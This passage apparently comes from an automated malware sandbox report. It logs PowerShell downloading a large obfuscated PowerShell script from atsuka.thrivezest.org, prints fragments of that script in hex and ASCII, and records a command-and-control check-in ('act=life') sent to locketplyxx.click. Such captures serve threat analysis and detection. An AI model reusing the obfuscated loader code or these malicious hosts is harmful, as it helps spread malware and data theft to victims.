2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 34 6e 33 36 50 33 38 76 32 63 49 33 34 51 33 36 49 33 39 78 32 63 64 33 34 45 33 37 78 33 31 47 32 63 52 33 34 6c 33 36 45 33 38 4a 32 63 4d 33 34 6c 33 35 74 33 34 70 32 63 55 33 34 5a 33 36 64 33 39 66 32 63 68 33 34 45 33 35 41 33 38 44 32 63 56 33 34 6b 33 35 68 33 39 6f 32 63 67 33 34 46 33 37 65 33 30 6b 32 63 70 33 34 69 33 35 77 33 30 74 32 63 6d 33 34 47 33 35 7a 33 30 74 32 63 72 33 34 69 33 35 6c 33 35 48 32 63 62 33 34 77 33 35 4d 33 30 62 32 63 74 33 34 44 33 35 6c 33 38 74 32 63 4a 33 34 6a 33 36 4e 33 38 45 32 63 51 33 34 46 33 35 62 33 30 73 32 63 58 33 34 4a 33 36 5a 33 38 4d 32 63 48 33 34 55 33 35 55 33 36 64 32 63 70 33 34 7a 33 35 44 33 38 4e 32 63 61 33 34 6b 33 35 6f 33 35 7a 32 63 54 33 34 74 33 35 62 33 34 5a 32 63 59 33 34 46 33 Data Ascii: 4n36P38v2cI34Q36I39x2cd34E37x31G2cR34l36E38J2cM34l35t34p2cU34Z36d39f2ch34E35A38D2cV34k35h39o2cg34F37e30k2cp34i35w30t2cm34G35z30t2cr34i35l35H2cb34w35M30b2ct34D35l38t2cJ34j36N38E2cQ34F35b30s2cX34J36Z38M2cH34U35U36d2cp34z35D38N2ca34k35o35z2cT34t35b34Z2cY34F3
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 4f 33 35 4c 33 36 43 32 63 43 33 34 44 33 36 5a 33 38 76 32 63 43 33 34 61 33 36 4c 33 37 78 32 63 76 33 34 7a 33 36 54 33 37 72 32 63 75 33 34 45 33 35 78 33 33 78 32 63 69 33 34 42 33 35 4f 33 31 48 32 63 44 33 34 4f 33 35 68 33 32 76 32 63 56 33 34 46 33 35 72 33 36 58 32 63 50 33 34 6a 33 35 4a 33 33 41 32 63 6c 33 34 41 33 35 70 33 34 4b 32 63 73 33 34 43 33 35 73 33 32 56 32 63 6e 33 34 73 33 35 77 33 34 79 32 63 44 33 34 65 33 36 70 33 38 75 32 63 69 33 34 55 33 36 7a 33 38 4e 32 63 41 33 34 45 33 35 79 33 39 6f 32 63 56 33 34 64 33 37 5a 33 31 77 32 63 6a 33 34 6e 33 35 68 33 39 4d 32 63 71 33 34 53 33 35 46 33 33 74 32 63 4f 33 34 6e 33 36 45 33 37 67 32 63 4a 33 34 73 33 35 54 33 39 4c 32 63 52 33 34 69 33 36 73 33 39 71 32 63 51 33 34 77 33 37 Data Ascii: O35L36C2cC34D36Z38v2cC34a36L37x2cv34z36T37r2cu34E35x33x2ci34B35O31H2cD34O35h32v2cV34F35r36X2cP34j35J33A2cl34A35p34K2cs34C35s32V2cn34s35w34y2cD34e36p38u2ci34U36z38N2cA34E35y39o2cV34d37Z31w2cj34n35h39M2cq34S35F33t2cO34n36E37g2cJ34s35T39L2cR34i36s39q2cQ34w37
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 33 35 6e 33 31 44 32 63 66 33 34 61 33 35 5a 33 33 48 32 63 71 33 34 50 33 37 75 33 31 48 32 63 61 33 34 42 33 36 6d 33 38 4b 32 63 56 33 34 67 33 37 50 33 30 54 32 63 43 33 34 79 33 35 63 33 33 4c 32 63 43 33 34 56 33 35 69 33 37 70 32 63 49 33 34 4c 33 37 79 33 32 71 32 63 47 33 34 74 33 37 54 33 31 66 32 63 55 33 34 41 33 35 4c 33 31 6e 32 63 4e 33 34 4e 33 35 6d 33 36 42 32 63 59 33 34 73 33 35 54 33 37 46 32 63 50 33 34 57 33 37 79 33 31 64 32 63 59 33 34 43 33 36 48 33 39 42 32 63 63 33 34 63 33 36 41 33 37 4a 32 63 73 33 34 6b 33 36 79 33 37 65 32 63 52 33 34 44 33 37 42 33 30 67 32 63 69 33 34 48 33 37 70 33 32 56 32 63 55 33 34 62 33 35 47 33 34 6f 32 63 4c 33 34 61 33 35 6d 33 32 4a 32 63 43 33 34 63 33 36 5a 33 37 6d 32 63 4e 33 34 56 33 35 53 Data Ascii: 35n31D2cf34a35Z33H2cq34P37u31H2ca34B36m38K2cV34g37P30T2cC34y35c33L2cC34V35i37p2cI34L37y32q2cG34t37T31f2cU34A35L31n2cN34N35m36B2cY34s35T37F2cP34W37y31d2cY34C36H39B2cc34c36A37J2cs34k36y37e2cR34D37B30g2ci34H37p32V2cU34b35G34o2cL34a35m32J2cC34c36Z37m2cN34V35S
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 35 45 33 37 46 32 63 52 33 34 62 33 35 66 33 31 4e 32 63 65 33 34 77 33 35 79 33 33 6b 32 63 41 33 34 6e 33 35 75 33 33 59 32 63 63 33 34 63 33 35 42 33 33 48 32 63 52 33 34 41 33 35 58 33 31 4a 32 63 62 33 34 62 33 36 51 33 37 64 32 63 4f 33 34 67 33 37 75 33 32 4a 32 63 46 33 34 6e 33 37 43 33 31 46 32 63 43 33 34 75 33 35 4b 33 36 78 32 63 47 33 34 57 33 35 43 33 36 73 32 63 62 33 34 56 33 37 42 33 31 63 32 63 51 33 34 6e 33 35 77 33 31 6a 32 63 53 33 34 63 33 35 62 33 39 45 32 63 55 33 34 76 33 36 65 33 38 71 32 63 4b 33 34 42 33 37 79 33 32 78 32 63 42 33 34 70 33 37 65 33 30 4d 32 63 6b 33 34 6f 33 35 57 33 38 68 32 63 53 33 34 45 33 35 42 33 34 76 32 63 78 33 34 66 33 37 68 33 32 47 32 63 5a 33 34 6f 33 37 4d 33 32 61 32 63 6b 33 34 4b 33 35 72 33 Data Ascii: 5E37F2cR34b35f31N2ce34w35y33k2cA34n35u33Y2cc34c35B33H2cR34A35X31J2cb34b36Q37d2cO34g37u32J2cF34n37C31F2cC34u35K36x2cG34W35C36s2cb34V37B31c2cQ34n35w31j2cS34c35b39E2cU34v36e38q2cK34B37y32x2cB34p37e30M2ck34o35W38h2cS34E35B34v2cx34f37h32G2cZ34o37M32a2ck34K35r3
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 52 33 38 6b 32 63 4f 33 34 6e 33 35 5a 33 32 55 32 63 69 33 34 62 33 35 50 33 37 6f 32 63 58 33 34 4d 33 35 4f 33 38 6e 32 63 69 33 34 78 33 35 56 33 37 41 32 63 44 33 34 4e 33 35 74 33 37 61 32 63 6d 33 34 65 33 37 47 33 32 6b 32 63 4d 33 34 61 33 37 4a 33 31 6e 32 63 48 33 34 57 33 36 4b 33 38 53 32 63 4f 33 34 4c 33 37 77 33 31 4d 32 63 62 33 34 74 33 35 55 33 31 7a 32 63 4e 33 34 6d 33 36 6c 33 38 46 32 63 4a 33 34 51 33 35 51 33 31 63 32 63 48 33 34 72 33 35 57 33 34 64 32 63 42 33 34 72 33 35 78 33 33 6b 32 63 67 33 34 70 33 35 48 33 34 49 32 63 53 33 34 63 33 37 67 33 31 42 32 63 43 33 34 76 33 35 59 33 31 57 32 63 42 33 34 49 33 35 5a 33 37 4b 32 63 73 33 34 75 33 36 4d 33 38 41 32 63 73 33 34 41 33 36 61 33 39 76 32 63 4b 33 34 67 33 35 67 33 38 Data Ascii: R38k2cO34n35Z32U2ci34b35P37o2cX34M35O38n2ci34x35V37A2cD34N35t37a2cm34e37G32k2cM34a37J31n2cH34W36K38S2cO34L37w31M2cb34t35U31z2cN34m36l38F2cJ34Q35Q31c2cH34r35W34d2cB34r35x33k2cg34p35H34I2cS34c37g31B2cC34v35Y31W2cB34I35Z37K2cs34u36M38A2cs34A36a39v2cK34g35g38
2024-12-21 19:13:35 UTC	1369	IN	Data Raw: 33 38 52 32 63 71 33 34 75 33 35 41 33 38 44 32 63 58 33 34 68 33 35 53 33 31 45 32 63 45 33 34 62 33 35 67 33 32 4b 32 63 65 33 34 74 33 36 53 33 38 43 32 63 54 33 34 5a 33 35 4d 33 33 56 32 63 58 33 34 4d 33 35 66 33 32 67 32 63 72 33 34 61 33 35 67 33 30 66 32 63 69 33 34 62 33 37 45 33 32 72 32 63 4c 33 34 71 33 37 61 33 31 69 32 63 47 33 34 5a 33 36 70 33 37 63 32 63 66 33 34 71 33 35 59 33 38 63 32 63 78 33 34 41 33 35 48 33 35 6d 32 63 58 33 34 68 33 36 42 33 39 5a 32 63 62 33 34 6a 33 36 74 33 37 65 32 63 4f 33 34 55 33 35 4c 33 34 78 32 63 41 33 34 6d 33 37 57 33 32 63 32 63 57 33 34 6f 33 35 79 33 37 6e 32 63 54 33 34 6a 33 35 76 33 31 74 32 63 6a 33 34 6a 33 35 70 33 38 68 32 63 6e 33 34 44 33 35 6a 33 36 71 32 63 53 33 34 74 33 35 48 33 37 41 Data Ascii: 38R2cq34u35A38D2cX34h35S31E2cE34b35g32K2ce34t36S38C2cT34Z35M33V2cX34M35f32g2cr34a35g30f2ci34b37E32r2cL34q37a31i2cG34Z36p37c2cf34q35Y38c2cx34A35H35m2cX34h36B39Z2cb34j36t37e2cO34U35L34x2cA34m37W32c2cW34o35y37n2cT34j35v31t2cj34j35p38h2cn34D35j36q2cS34t35H37A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	172.67.183.27	443	7692	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:13:41 UTC	80	OUT	GET /hubus.xlm HTTP/1.1 Host: atsuka.thrivezest.org Connection: Keep-Alive
2024-12-21 19:13:43 UTC	995	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:13:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9508605 Connection: close X-Powered-By: Express ETag: W/"9116fd-9yrU921jJidPRBXO8zb1nPN2AM8" Set-Cookie: connect.sid=s%3AQ0MNHXs9NfOPL1TjMayUvaZmze8GoQ1d.J4AkYZOHJiLu6SM1r7XeseoP13wBsaKRIUs7qwSbfPI; Path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7LfxM7rraqFdfaj4UmOSgOdHQ1M%2BO3wt08xVBt8V2HRVuGUiM4F%2FJg%2Fm0ostsQLsy5SH8FsTf940We2bnbN9uj2%2FdKNummoGOU1be%2FgDEOzofayjzm4Oazzq6wLLK9GH%2Fnuw%2F3nPBUU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a30db6bfe7283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2022&min_rtt=1982&rtt_var=772&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=694&delivery_rate=1473259&cwnd=244&unsent_bytes=0&cid=a3d54832eaadec9f&ts=1938&x=0"
2024-12-21 19:13:43 UTC	374	IN	Data Raw: 24 56 78 35 57 4b 51 68 55 4f 4e 32 6a 66 65 77 4c 50 74 78 79 47 71 6b 45 63 6b 30 70 59 52 69 48 53 71 46 32 35 4d 6b 74 69 75 56 68 35 71 62 4c 76 43 57 59 49 59 52 46 42 39 56 6a 6d 6c 53 4d 38 57 79 70 78 58 6e 42 62 42 45 65 41 4c 76 41 4d 4e 77 54 52 38 50 41 4e 64 70 30 7a 30 78 35 71 49 37 64 63 34 4a 58 62 6c 46 77 6a 36 72 33 4e 42 53 72 4b 35 35 62 78 44 65 41 63 61 32 32 47 58 42 6b 37 4e 64 61 52 68 6f 35 47 65 30 6e 4a 52 72 69 30 54 53 36 56 78 44 43 43 57 73 37 30 49 55 58 68 61 74 48 30 4e 77 34 58 34 31 70 32 61 5a 7a 70 68 6d 69 52 32 6f 4e 73 64 69 70 71 6f 65 50 59 39 4b 75 52 38 34 37 6d 42 65 73 6f 31 59 43 32 48 67 54 72 65 4d 78 44 63 4f 46 58 48 48 55 63 38 51 70 64 6a 53 57 75 75 74 7a 70 47 41 43 34 6c 36 38 72 55 76 68 41 66 Data Ascii: $Vx5WKQhUON2jfewLPtxyGqkEck0pYRiHSqF25MktiuVh5qbLvCWYIYRFB9VjmlSM8WypxXnBbBEeALvAMNwTR8PANdp0z0x5qI7dc4JXblFwj6r3NBSrK55bxDeAca22GXBk7NdaRho5Ge0nJRri0TS6VxDCCWs70IUXhatH0Nw4X41p2aZzphmiR2oNsdipqoePY9KuR847mBeso1YC2HgTreMxDcOFXHHUc8QpdjSWuutzpGAC4l68rUvhAf
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 3d 20 22 47 65 74 42 79 22 0d 0a 0d 0a 24 49 36 48 68 6d 37 72 75 67 58 35 34 50 49 44 67 44 63 50 76 68 67 51 45 37 50 34 7a 66 67 6c 76 43 74 47 43 33 7a 42 72 39 71 30 5a 74 68 50 71 54 52 4e 38 51 51 38 4e 61 71 4a 59 50 79 44 44 67 71 35 79 66 78 45 35 5a 56 62 6a 6a 51 6c 31 64 63 31 50 41 47 65 4e 59 4f 69 38 31 64 34 59 77 73 41 6b 4a 59 73 53 65 4b 32 63 66 61 30 33 4f 46 74 68 67 45 30 61 4d 74 51 55 76 47 64 79 62 70 4e 4a 34 44 6b 4a 61 44 74 63 59 44 55 41 63 63 75 5a 70 38 34 46 74 42 45 66 76 39 41 45 75 30 4a 70 71 6d 76 4d 4f 50 51 50 64 59 6a 69 4d 57 70 64 6e 31 53 42 70 65 4b 32 54 34 55 52 6a 66 56 74 53 61 4b 69 56 54 38 69 66 54 42 47 50 42 70 59 39 59 32 74 50 31 41 53 61 4d 61 72 38 32 4a 47 4c 38 36 37 61 6d 72 31 6d 6d 47 4d 6b Data Ascii: = "GetBy"$I6Hhm7rugX54PIDgDcPvhgQE7P4zfglvCtGC3zBr9q0ZthPqTRN8QQ8NaqJYPyDDgq5yfxE5ZVbjjQl1dc1PAGeNYOi81d4YwsAkJYsSeK2cfa03OFthgE0aMtQUvGdybpNJ4DkJaDtcYDUAccuZp84FtBEfv9AEu0JpqmvMOPQPdYjiMWpdn1SBpeK2T4URjfVtSaKiVT8ifTBGPBpY9Y2tP1ASaMar82JGL867amr1mmGMk
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 79 41 42 6d 74 78 55 53 71 50 55 70 36 76 69 37 74 59 71 46 4c 67 4c 69 37 49 54 72 51 45 57 33 6f 66 34 7a 48 55 31 44 4d 75 73 62 30 54 48 37 59 6f 79 38 32 50 62 6f 4f 36 56 76 37 68 42 6d 32 49 4b 39 46 38 50 55 6b 63 52 78 45 75 7a 66 53 4e 46 69 45 51 53 73 6f 74 31 75 65 4c 46 77 5a 52 35 49 73 65 6f 6b 70 77 6d 74 45 36 5a 76 6b 4b 47 56 34 77 77 68 44 68 62 39 44 56 49 4a 58 33 30 58 41 69 62 76 65 4f 67 68 45 54 32 30 59 77 55 67 73 4c 62 67 30 65 5a 54 6b 6e 5a 72 79 51 76 65 4a 6e 65 51 36 78 63 4a 55 58 46 53 6d 78 4e 50 79 76 4c 49 4d 72 65 42 59 45 57 4e 79 55 45 6b 46 72 50 32 44 65 74 51 4e 41 72 68 4c 50 6e 71 43 41 54 36 5a 46 32 57 78 7a 58 37 64 68 34 79 78 51 69 4c 4a 4f 46 4b 61 30 53 4a 4e 70 34 6b 33 54 4e 5a 4c 50 77 56 32 58 46 Data Ascii: yABmtxUSqPUp6vi7tYqFLgLi7ITrQEW3of4zHU1DMusb0TH7Yoy82PboO6Vv7hBm2IK9F8PUkcRxEuzfSNFiEQSsot1ueLFwZR5IseokpwmtE6ZvkKGV4wwhDhb9DVIJX30XAibveOghET20YwUgsLbg0eZTknZryQveJneQ6xcJUXFSmxNPyvLIMreBYEWNyUEkFrP2DetQNArhLPnqCAT6ZF2WxzX7dh4yxQiLJOFKa0SJNp4k3TNZLPwV2XF
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 47 37 78 41 6d 77 75 63 50 45 32 64 6c 64 74 77 48 41 34 6b 4c 32 38 4d 59 50 71 77 38 69 64 74 68 77 58 58 65 20 2b 20 24 56 6a 4d 37 34 73 56 73 66 6f 59 4a 44 51 34 55 6a 31 59 59 49 79 75 58 37 59 62 7a 64 6e 47 4f 49 70 67 74 67 4b 64 76 6e 4a 59 79 34 43 4b 49 41 61 63 55 70 73 47 53 4d 68 56 65 6a 66 46 39 52 56 65 78 31 4c 49 6b 31 57 52 79 63 43 69 30 30 79 58 71 49 79 73 79 64 31 33 69 68 6f 70 6f 55 63 6a 64 30 4e 69 71 50 34 6c 47 65 6f 72 46 39 65 69 32 72 66 31 49 33 50 4f 6d 4a 76 78 4c 56 75 50 39 51 62 30 75 55 43 78 72 4d 45 6e 36 78 4f 54 6a 53 54 75 4d 6d 77 61 59 6c 35 52 64 6a 51 70 62 75 54 4a 31 48 4d 65 50 30 75 4c 52 77 4e 30 54 70 47 30 6f 76 4f 41 61 7a 47 49 71 38 32 52 75 41 66 69 58 44 69 42 63 5a 32 33 78 58 31 34 4a 31 4a Data Ascii: G7xAmwucPE2dldtwHA4kL28MYPqw8idthwXXe + $VjM74sVsfoYJDQ4Uj1YYIyuX7YbzdnGOIpgtgKdvnJYy4CKIAacUpsGSMhVejfF9RVex1LIk1WRycCi00yXqIysyd13ihopoUcjd0NiqP4lGeorF9ei2rf1I3POmJvxLVuP9Qb0uUCxrMEn6xOTjSTuMmwaYl5RdjQpbuTJ1HMeP0uLRwN0TpG0ovOAazGIq82RuAfiXDiBcZ23xX14J1J
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 24 5a 4f 43 6d 4a 75 6a 44 50 73 66 29 2d 28 33 37 2d 34 30 2d 34 29 29 7b 0d 0a 28 28 28 28 24 45 46 43 4f 71 78 6a 57 53 44 61 2d 31 36 2d 24 51 43 48 78 45 74 57 74 70 58 65 43 46 2d 34 2d 34 34 2d 24 66 4f 68 55 4a 7a 6f 42 4d 77 29 29 2b 28 28 24 51 55 56 4d 6c 78 6b 69 68 43 54 2d 33 39 2d 32 33 29 29 29 29 20 0d 0a 7b 0d 0a 24 56 48 78 51 55 79 79 43 20 3d 20 36 31 30 0d 0a 24 69 61 6e 54 61 57 20 3d 20 24 6c 42 63 74 7a 4c 43 73 57 76 72 73 57 0d 0a 24 72 5a 74 47 4b 63 61 50 69 73 59 20 3d 20 24 55 73 46 6b 4f 71 50 6a 74 4e 0d 0a 24 4d 58 6b 62 43 6c 56 59 73 70 57 20 3d 20 24 6c 42 63 74 7a 4c 43 73 57 76 72 73 57 0d 0a 24 50 57 4d 74 73 43 76 73 20 3d 20 24 45 46 43 4f 71 78 6a 57 53 44 61 0d 0a 7d 0d 0a 28 28 28 33 2b 32 39 2d 28 34 37 2d 33 Data Ascii: $ZOCmJujDPsf)-(37-40-4)){(((($EFCOqxjWSDa-16-$QCHxEtWtpXeCF-4-44-$fOhUJzoBMw))+(($QUVMlxkihCT-39-23)))) {$VHxQUyyC = 610$ianTaW = $lBctzLCsWvrsW$rZtGKcaPisY = $UsFkOqPjtN$MXkbClVYspW = $lBctzLCsWvrsW$PWMtsCvs = $EFCOqxjWSDa}(((3+29-(47-3
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 24 4e 6d 45 47 52 6f 20 3d 20 28 28 28 28 28 33 31 2d 37 2a 31 32 29 2a 34 31 2a 31 30 2d 28 34 2d 34 37 2a 33 31 2a 34 37 2a 31 32 2a 32 32 29 29 2d 28 33 34 2a 33 35 2a 38 29 29 2d 28 31 38 30 34 37 30 30 38 29 29 29 0d 0a 24 5a 59 71 47 47 20 3d 20 24 69 59 62 63 64 68 47 4d 4a 74 0d 0a 24 78 51 41 74 6c 4b 55 66 4d 20 3d 20 24 65 73 6b 57 51 6c 6e 4b 56 75 0d 0a 0d 0a 24 4b 53 59 6c 6e 54 59 44 4d 55 20 3d 20 28 28 24 66 4f 68 55 4a 7a 6f 42 4d 77 2d 34 37 2d 28 32 37 2d 32 32 2b 31 29 29 2b 24 69 61 6e 54 61 57 2d 34 37 2d 32 33 2b 24 4a 52 4f 47 46 75 76 69 64 2b 33 34 2b 31 30 2d 28 34 35 38 29 29 0d 0a 24 78 4c 64 58 59 43 44 45 73 4e 72 51 47 20 3d 20 28 28 31 32 2d 33 39 2b 24 63 7a 49 78 54 52 52 79 58 57 6b 44 6d 55 29 2d 28 31 37 2b 31 2b 24 Data Ascii: $NmEGRo = (((((31-712)4110-(4-4731471222))-(3435*8))-(18047008)))$ZYqGG = $iYbcdhGMJt$xQAtlKUfM = $eskWQlnKVu$KSYlnTYDMU = (($fOhUJzoBMw-47-(27-22+1))+$ianTaW-47-23+$JROGFuvid+34+10-(458))$xLdXYCDEsNrQG = ((12-39+$czIxTRRyXWkDmU)-(17+1+$
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 4e 53 65 68 51 2b 32 30 2d 34 38 29 29 2d 28 32 32 29 29 0d 0a 24 4f 45 72 75 67 56 6b 61 4d 45 20 3d 20 28 28 28 28 34 38 2b 33 34 2b 24 66 4f 68 55 4a 7a 6f 42 4d 77 29 29 29 2b 28 32 34 2b 34 35 2d 24 53 43 64 56 4e 72 72 29 2b 28 24 69 61 6e 54 61 57 2b 31 31 2b 28 24 6e 69 41 53 69 45 2b 32 34 2b 24 44 74 57 45 68 47 4f 57 69 4e 29 29 2b 28 28 34 36 2b 31 38 2b 34 29 29 2d 28 31 31 35 31 29 29 0d 0a 24 73 76 6a 78 61 63 6b 5a 74 42 76 50 52 65 20 3d 20 28 28 28 34 2b 33 31 2d 32 31 29 29 2b 33 37 2d 34 36 2b 24 4a 52 4f 47 46 75 76 69 64 2b 28 28 39 2d 31 33 2d 39 29 29 2b 28 33 32 29 29 0d 0a 24 4c 63 5a 65 54 76 42 20 3d 20 28 28 24 65 73 6b 57 51 6c 6e 4b 56 75 2d 31 36 2b 28 33 32 2b 34 34 2d 24 4b 58 7a 74 71 52 61 29 29 2b 28 28 24 72 73 42 51 Data Ascii: NSehQ+20-48))-(22))$OErugVkaME = ((((48+34+$fOhUJzoBMw)))+(24+45-$SCdVNrr)+($ianTaW+11+($niASiE+24+$DtWEhGOWiN))+((46+18+4))-(1151))$svjxackZtBvPRe = (((4+31-21))+37-46+$JROGFuvid+((9-13-9))+(32))$LcZeTvB = (($eskWQlnKVu-16+(32+44-$KXztqRa))+(($rsBQ
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 2d 31 33 2d 28 32 35 30 38 29 29 0d 0a 24 57 4e 64 49 72 4c 72 41 20 3d 20 28 28 28 28 34 30 2b 32 38 2b 24 4a 59 45 53 41 66 51 44 46 5a 77 72 6b 63 29 29 2b 24 79 53 6f 50 6b 77 76 7a 72 2d 34 35 2b 33 33 2b 28 34 31 2d 34 32 2b 34 34 29 29 2d 24 77 45 72 44 54 69 4b 41 6b 4d 62 6a 72 2b 33 39 2b 24 51 61 53 6e 76 70 42 50 6a 57 55 53 46 2d 24 74 74 6a 50 6d 64 69 79 5a 2d 34 2d 33 32 2d 28 34 33 31 29 29 0d 0a 24 6c 4d 4c 4e 6b 71 20 3d 20 28 28 32 37 2b 33 39 2b 35 29 2b 24 62 58 4c 67 65 54 73 6f 59 2d 34 31 2d 32 37 2b 24 51 43 48 78 45 74 57 74 70 58 65 43 46 2d 39 2d 34 35 2d 28 31 30 31 35 29 29 0d 0a 24 48 79 70 67 6c 45 46 6b 42 42 52 20 3d 20 28 28 28 24 4d 58 6b 62 43 6c 56 59 73 70 57 2b 34 39 2d 31 32 29 2b 28 24 4e 6d 45 47 52 6f 2b 36 2b Data Ascii: -13-(2508))$WNdIrLrA = ((((40+28+$JYESAfQDFZwrkc))+$ySoPkwvzr-45+33+(41-42+44))-$wErDTiKAkMbjr+39+$QaSnvpBPjWUSF-$ttjPmdiyZ-4-32-(431))$lMLNkq = ((27+39+5)+$bXLgeTsoY-41-27+$QCHxEtWtpXeCF-9-45-(1015))$HypglEFkBBR = ((($MXkbClVYspW+49-12)+($NmEGRo+6+
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 6d 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4b 70 6f 4b 58 64 45 73 72 62 7a 46 73 4a 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 53 62 55 5a 6d 43 6a 41 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4b 79 69 56 68 6d 77 61 50 63 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 4a 4f 48 61 70 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 58 75 63 41 51 55 4b 4e 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 61 51 4a 42 77 42 6b 6c 73 46 6d 50 43 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 49 79 55 67 77 42 75 6b 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 41 70 58 68 61 55 54 62 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 44 61 56 4b 57 51 4a 55 6d 42 5a 57 20 2b 20 5b 63 68 61 72 5d 5b 69 6e 74 5d 24 45 6c 43 41 77 44 43 4b 65 48 59 20 2b 20 5b 63 68 61 Data Ascii: m + [char][int]$KpoKXdEsrbzFsJ + [char][int]$SbUZmCjA + [char][int]$KyiVhmwaPc + [char][int]$JOHap + [char][int]$XucAQUKN + [char][int]$aQJBwBklsFmPC + [char][int]$IyUgwBuk + [char][int]$ApXhaUTb + [char][int]$DaVKWQJUmBZW + [char][int]$ElCAwDCKeHY + [cha
2024-12-21 19:13:43 UTC	1369	IN	Data Raw: 54 2d 33 39 2d 32 33 29 29 29 29 20 0d 0a 7b 0d 0a 24 56 48 78 51 55 79 79 43 20 3d 20 36 31 30 0d 0a 24 69 61 6e 54 61 57 20 3d 20 24 6c 42 63 74 7a 4c 43 73 57 76 72 73 57 0d 0a 24 72 5a 74 47 4b 63 61 50 69 73 59 20 3d 20 24 55 73 46 6b 4f 71 50 6a 74 4e 0d 0a 24 4d 58 6b 62 43 6c 56 59 73 70 57 20 3d 20 24 6c 42 63 74 7a 4c 43 73 57 76 72 73 57 0d 0a 24 50 57 4d 74 73 43 76 73 20 3d 20 24 45 46 43 4f 71 78 6a 57 53 44 61 0d 0a 7d 0d 0a 28 28 28 33 2b 32 39 2d 28 34 37 2d 33 36 2a 33 35 2a 33 38 2b 34 31 2d 28 33 31 2d 31 33 2a 31 38 29 29 29 2d 28 34 37 36 30 33 29 29 29 20 0d 0a 7b 0d 0a 24 41 4a 56 63 55 54 72 48 72 70 45 20 3d 20 39 31 34 0d 0a 24 79 4a 6b 70 6d 54 4c 51 20 3d 20 24 4d 58 6b 62 43 6c 56 59 73 70 57 0d 0a 7d 0d 0a 28 28 28 24 72 73 Data Ascii: T-39-23)))) {$VHxQUyyC = 610$ianTaW = $lBctzLCsWvrsW$rZtGKcaPisY = $UsFkOqPjtN$MXkbClVYspW = $lBctzLCsWvrsW$PWMtsCvs = $EFCOqxjWSDa}(((3+29-(47-363538+41-(31-13*18)))-(47603))) {$AJVcUTrHrpE = 914$yJkpmTLQ = $MXkbClVYspW}((($rs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49820	172.67.151.193	443	7704	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 19:15:17 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: locketplyxx.click
2024-12-21 19:15:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-21 19:15:29 UTC	1137	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 19:15:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6p17loev0atchmhosq76285tpj; expires=Wed, 16 Apr 2025 13:02:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Qb0xkCDFBV%2BBT8QL%2FIyEhHjJmo9Eko0F2S41ncxFrOCYcJqlhTieVYrQl7YL8iWELhZxKzQvKTNTZKJ%2FzHsVzHguNVfu23nXvoH%2F%2BilB7S%2FJHRl8aHSzIHpj0AL4xyGPKx0Ig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5a33330bec726e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1864&min_rtt=1799&rtt_var=721&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1623123&cwnd=224&unsent_bytes=0&cid=9aff1f6ae07a381c&ts=11964&x=0"
2024-12-21 19:15:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-21 19:15:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49821	172.67.151.193	443	7704	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

